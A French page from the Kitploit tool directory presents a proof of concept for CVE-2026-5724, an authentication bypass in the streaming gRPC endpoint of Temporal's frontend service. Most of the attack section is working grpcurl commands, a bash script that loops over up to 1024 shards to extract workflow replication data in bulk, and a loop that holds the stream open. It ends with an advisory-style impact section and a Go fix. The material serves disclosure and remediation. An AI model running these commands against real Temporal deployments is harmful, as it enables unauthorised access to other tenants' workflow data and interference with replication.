Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-5724 — Preuve de concept pour CVE-2026-5724, un contournement d'authentification dans le service gRPC frontal de Temporal permettant un accès non authentifié aux données de réplication des workflows. | Kitploit
Outils/GitHubGitHub/tibrn/cve-2026-5724
Analyse des VulnérabilitésExploitationSécurité WebAuthentificationSécurité des API
GitHubtibrn/cve-2026-5724

CVE-2026-5724

Preuve de concept pour CVE-2026-5724, un contournement d'authentification dans le service gRPC frontal de Temporal permettant un accès non authentifié aux données de réplication des workflows.

Voir le dépôt
39il y a 6 moisPas encore vérifié
Partager

Résumé

Le service frontend de Temporal n'applique pas d'authentification sur les RPC gRPC en streaming. La chaîne d'intercepteurs de streaming omet l'intercepteur d'autorisation, permettant à des appelants non authentifiés d'accéder à AdminService/StreamWorkflowReplicationMessages, un endpoint privilégié réservé aux administrateurs qui diffuse les données de réplication de workflows sur tous les namespaces.

Détails

Le serveur gRPC frontend situé dans service/frontend/fx.go configure deux chaînes d'intercepteurs. La chaîne de streaming n'inclut que telemetryInterceptor.StreamIntercept pour les métriques et aucune authentification :

https://github.com/temporalio/temporal/blob/c9a39e6914c0b3a114ddfe42e991334ed911a4cf/service/frontend/fx.go#L292-L294

Le type authorization.Interceptor n'implémente qu'une méthode d'intercepteur unaire (Intercept). Aucun équivalent en streaming n'existe. Le seul RPC en streaming du frontend est AdminService/StreamWorkflowReplicationMessages, qui selon https://github.com/temporalio/temporal/blob/c9a39e6914c0b3a114ddfe42e991334ed911a4cf/common/api/metadata.go#L214-L215 devrait exiger {Scope: ScopeCluster, Access: AccessAdmin}. L'appel en streaming atteint le handler à admin_handler.go:1904 sans autorisation, où il fait un proxy direct vers l'endpoint de réplication du service d'historique interne.

PoC

Prenez un déploiement Temporal exposant l'API gRPC frontend.

Appelez le RPC AdminService en streaming sans aucune information d'identification :

grpcurl -max-time 15 \
  -H "temporal-client-cluster-id: 1" \
  -H "temporal-client-shard-id: 1" \
  -H "temporal-server-cluster-id: 1" \
  -H "temporal-server-shard-id: 1" \
  -d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
  temporal-frontend.example.com:443 \
  temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages

# Le flux se connecte. Le serveur répond avec l'état de réplication incluant
# exclusiveHighWatermark par shard. Pendant la réplication active, la
# réponse contient des événements d'historique de workflows sérialisés :
# {
#   "messages": {
#     "replicationTasks": [{
#       "namespaceId": "...",
#       "workflowId": "...",
#       "runId": "...",
#       "taskType": "REPLICATION_TASK_TYPE_HISTORY_V2_TASK",
#       ...
#     }],
#     "exclusiveHighWatermark": "148293"
#   }
# }

Pour itérer sur tous les shards et extraire les données à grande échelle :

#!/usr/bin/env bash
set -euo pipefail

TARGET="${1:-temporal-frontend.example.com:443}"
NUM_SHARDS="${2:-1024}"   
CLUSTER_ID="${3:-1}"       # initialFailoverVersion : 1=actif, 2=bascule

ADMIN_SVC="temporal.server.api.adminservice.v1.AdminService"

for SHARD in $(seq 1 "${NUM_SHARDS}"); do
  grpcurl -max-time 10 \
    -H "temporal-client-cluster-id: ${CLUSTER_ID}" \
    -H "temporal-client-shard-id: ${SHARD}" \
    -H "temporal-server-cluster-id: ${CLUSTER_ID}" \
    -H "temporal-server-shard-id: ${SHARD}" \
    -d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
    "${TARGET}" "${ADMIN_SVC}/StreamWorkflowReplicationMessages" 2>&1 || true
done

Pour maintenir le flux ouvert en continu et capturer les événements de réplication en temps réel :

(
  while true; do
    echo '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}'
    sleep 5
  done
) | grpcurl -d @ \
  -H "temporal-client-cluster-id: 1" \
  -H "temporal-client-shard-id: 1" \
  -H "temporal-server-cluster-id: 1" \
  -H "temporal-server-shard-id: 1" \
  temporal-frontend.example.com:443 \
  temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages

Impact

Un attaquant ayant accès au frontend peut lire les données de réplication de workflows sur tous les namespaces et locataires — identifiants de workflows, identifiants d'exécution, événements d'historique, charges utiles d'activités — sans aucune information d'identification. L'attaquant peut également interférer avec la réplication inter-centres de données en envoyant des messages SyncReplicationState, et obtient un pont vers le service d'historique interne qui n'est normalement jamais exposé à l'extérieur.

Solution

Implémentez un StreamServerInterceptor sur authorization.Interceptor et ajoutez-le à la chaîne de streaming dans service/frontend/fx.go:292-296 :

streamInterceptor := []grpc.StreamServerInterceptor{
    telemetryInterceptor.StreamIntercept,
    authInterceptor.StreamIntercept,  // appliquer l'authentification sur les RPC en streaming
}
Télécharger l’outil

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 La boîte à outils OSINT ultime : graphe d'enquête, notation de confiance, familles d'alias, carte, chronologie et rapports. 49 modules, plus de 400 sites, aucune clé API requise.

    530
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    479
  • 3

    ARTEX

    baarai/artex

    Plateforme autonome de tests d'intrusion multi-agents basée sur des LLM, avec agents planificateur/ouvrier, graphes d'actifs et d'exploration, enregistrement du trafic MITM et retest des vulnérabilités.

    369
  • 4

    redforge

    cybersecurity91/redforge

    Boîte à outils red team côté navigateur avec 102 outils hors ligne pour la reconnaissance, la génération de payloads, les attaques par identifiants, la cryptographie, l'encodage et le reporting d'engagement.

    319
  • 5

    estorides

    grisuno/estorides

    Agrège plus de 99 sources OSINT gratuites en parallèle, résout les entités dans un graphe de connaissances et exporte en STIX 2.1, MISP ou GraphML avec une analyse assistée par LLM.

    294
  • 6

    opencti

    opencti-platform/opencti

    Plateforme ouverte de renseignement sur les cybermenaces

    266

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →